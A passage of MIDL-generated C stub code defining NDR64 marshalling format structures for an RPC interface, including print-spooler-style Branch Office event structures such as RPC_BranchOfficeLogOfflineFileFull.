  struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag131_t;\nextern const __midl_frag131_t __midl_frag131;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag130_t;\nextern const __midl_frag130_t __midl_frag130;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_MEMPAD_FORMAT frag32;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag33;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag34;\n    } frag2;\n}\n__midl_frag118_t;\nextern const __midl_frag118_t __midl_frag118;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag117_t;\nextern const __midl_frag117_t __midl_frag117;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n}\n__midl_frag116_t;\nextern const __midl_frag116_t __midl_frag116;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_MEMPAD_FORMAT frag22;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n    } frag2;\n}\n__midl_frag109_t;\nextern const __midl_frag109_t __midl_frag109;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag108_t;\nextern const __midl_frag108_t __midl_frag108;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag107_t;\nextern const __midl_frag107_t __midl_frag107;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag106_t;\nextern const __midl_frag106_t __midl_frag106;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag105_t;\nextern const __midl_frag105_t __midl_frag105;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag104_t;\nextern const __midl_frag104_t __midl_frag104;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag101_t;\nextern const __midl_frag101_t __midl_frag101;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag99_t;\nextern const __midl_frag99_t __midl_frag99;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag98_t;\nextern const __midl_frag98_t __midl_frag98;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag97_t;\nextern const __midl_frag97_t __midl_frag97;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag96_t;\nextern const __midl_frag96_t __midl_frag96;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag93_t;\nextern const __midl_frag93_t __midl_frag93;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag92_t;\nextern const __midl_frag92_t __midl_frag92;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag89_t;\nextern const __midl_frag89_t __midl_frag89;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag88_t;\nextern const __midl_frag88_t __midl_frag88;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag84_t;\nextern const __midl_frag84_t __midl_frag84;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag83_t;\nextern const __midl_frag83_t __midl_frag83;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag82_t;\nextern const __midl_frag82_t __midl_frag82;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag81_t;\nextern const __midl_frag81_t __midl_frag81;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag78_t;\nextern const __midl_frag78_t __midl_frag78;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag77_t;\nextern const __midl_frag77_t __midl_frag77;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag74_t;\nextern const __midl_frag74_t __midl_frag74;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag73_t;\nextern const __midl_frag73_t __midl_frag73;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag72_t;\nextern const __midl_frag72_t __midl_frag72;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag71_t;\nextern const __midl_frag71_t __midl_frag71;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag70_t;\nextern const __midl_frag70_t __midl_frag70;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag69_t;\nextern const __midl_frag69_t __midl_frag69;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag67_t;\nextern const __midl_frag67_t __midl_frag67;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag66_t;\nextern const __midl_frag66_t __midl_frag66;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag65_t;\nextern const __midl_frag65_t __midl_frag65;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag64_t;\nextern const __midl_frag64_t __midl_frag64;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag59_t;\nextern const __midl_frag59_t __midl_frag59;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        struct _NDR64_NO_REPEAT_FORMAT frag10;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11;\n        struct _NDR64_POINTER_FORMAT frag12;\n        struct _NDR64_NO_REPEAT_FORMAT frag13;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag14;\n        struct _NDR64_POINTER_FORMAT frag15;\n        struct _NDR64_NO_REPEAT_FORMAT frag16;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag17;\n        struct _NDR64_POINTER_FORMAT frag18;\n        struct _NDR64_NO_REPEAT_FORMAT frag19;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag20;\n        struct _NDR64_POINTER_FORMAT frag21;\n        struct _NDR64_NO_REPEAT_FORMAT frag22;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag23;\n        struct _NDR64_POINTER_FORMAT frag24;\n        struct _NDR64_NO_REPEAT_FORMAT frag25;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag26;\n        struct _NDR64_POINTER_FORMAT frag27;\n        struct _NDR64_NO_REPEAT_FORMAT frag28;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag29;\n        struct _NDR64_POINTER_FORMAT frag30;\n        struct _NDR64_NO_REPEAT_FORMAT frag31;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag32;\n        struct _NDR64_POINTER_FORMAT frag33;\n        struct _NDR64_NO_REPEAT_FORMAT frag34;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag35;\n        struct _NDR64_POINTER_FORMAT frag36;\n        struct _NDR64_NO_REPEAT_FORMAT frag37;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag38;\n        struct _NDR64_POINTER_FORMAT frag39;\n        NDR64_FORMAT_CHAR frag40;\n    } frag2;\n}\n__midl_frag51_t;\nextern const __midl_frag51_t __midl_frag51;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag50_t;\nextern const __midl_frag50_t __midl_frag50;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag49_t;\nextern const __midl_frag49_t __midl_frag49;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag45_t;\nextern const __midl_frag45_t __midl_frag45;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag44_t;\nextern const __midl_frag44_t __midl_frag44;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag41_t;\nextern const __midl_frag41_t __midl_frag41;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag39_t;\nextern const __midl_frag39_t __midl_frag39;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag38_t;\nextern const __midl_frag38_t __midl_frag38;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag37_t;\nextern const __midl_frag37_t __midl_frag37;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag33_t;\nextern const __midl_frag33_t __midl_frag33;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag31_t;\nextern const __midl_frag31_t __midl_frag31;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_MEMPAD_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n    } frag2;\n}\n__midl_frag28_t;\nextern const __midl_frag28_t __midl_frag28;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag27_t;\nextern const __midl_frag27_t __midl_frag27;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag26_t;\nextern const __midl_frag26_t __midl_frag26;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag25_t;\nextern const __midl_frag25_t __midl_frag25;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_MEMPAD_FORMAT frag9;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n    } frag2;\n}\n__midl_frag21_t;\nextern const __midl_frag21_t __midl_frag21;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag20_t;\nextern const __midl_frag20_t __midl_frag20;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    NDR64_UINT32 frag6;\n}\n__midl_frag18_t;\nextern const __midl_frag18_t __midl_frag18;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag17_t;\nextern const __midl_frag17_t __midl_frag17;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag14_t;\nextern const __midl_frag14_t __midl_frag14;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag11_t;\nextern const __midl_frag11_t __midl_frag11;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag10_t;\nextern const __midl_frag10_t __midl_frag10;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag2_t;\nextern const __midl_frag2_t __midl_frag2;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag1103_t __midl_frag1103 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1102_t __midl_frag1102 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag1101_t __midl_frag1101 =\n{ \n/* RPC_BranchOfficeLogOfflineFileFull */\n    { \n    /* RPC_BranchOfficeLogOfflineFileFull */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeLogOfflineFileFull */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag1097_t __midl_frag1097 =\n{ \n/* RPC_BranchOfficeJobDataPipelineFailed */\n    { \n    /* RPC_BranchOfficeJobDataPipelineFailed */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataPipelineFailed */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag1096_t __midl_frag1096 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,   